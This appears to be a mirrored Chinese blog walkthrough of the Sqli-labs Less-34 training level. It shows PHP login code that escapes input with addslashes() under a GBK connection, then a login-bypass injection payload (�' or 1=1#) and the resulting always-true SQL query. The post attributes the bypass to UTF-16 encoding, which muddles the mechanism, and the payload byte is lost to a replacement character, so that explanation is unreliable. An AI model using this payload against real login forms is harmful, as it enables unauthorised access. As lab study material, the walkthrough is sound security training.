zoukankan      html  css  js  c++  java
  • Sqli-labs Less-34 利用 ' 的utf-16突破addslashes()函数转义

    关键代码

    $uname1=$_POST['uname'];
    $passwd1=$_POST['passwd'];
        
    $uname = addslashes($uname1);
    $passwd= addslashes($passwd1);
    
    mysql_query("SET NAMES gbk");
    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

    本关是post型的注入漏洞,同样的也是将post过来的内容进行了 ' 的处理。由上面的例子可以看到我们的方法就是将过滤函数添加的 给吃掉。而get型的方式我们是以url形式提交的,因此数据会通过URLencode,如何将方法用在post型的注入当中,我们此处介绍一个新的方法。将utf-8转换为utf-16或 utf-32,例如将 ' 转为utf-16为 �' 。我们就可以利用这个方式进行尝试。

    我们用万能密码的方式的来突破这一关。

    例如直接提交username:�' or 1=1#

    password:随便乱填

    可以看到下面显示登录成功。

    原始的sql语句为

    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

    此时sql语句为

    @$sql="SELECT username, password FROM users WHERE username='�' or 1=1#' and password='$passwd' LIMIT 0,1";

    去掉注释部分后sql语句为

    @$sql="SELECT username, password FROM users WHERE username='�' or 1=1

    此时不论select选择出来的内容是什么,与 1=1进行or操作后,始终为真。

  • 相关阅读:
    Linux date自己实现代码
    Linux常用指令
    awk getline命令
    文档资料记录
    数学之美番外篇:平凡而又神奇的贝叶斯方法
    最小二乘法(ZZ)
    SpringMVC简单使用教程
    Oracle设置序列方法
    Bootstrap Table的使用详解
    Html中div块居中显示
  • 原文地址:https://www.cnblogs.com/zhengna/p/12660960.html
Copyright © 2011-2022 走看看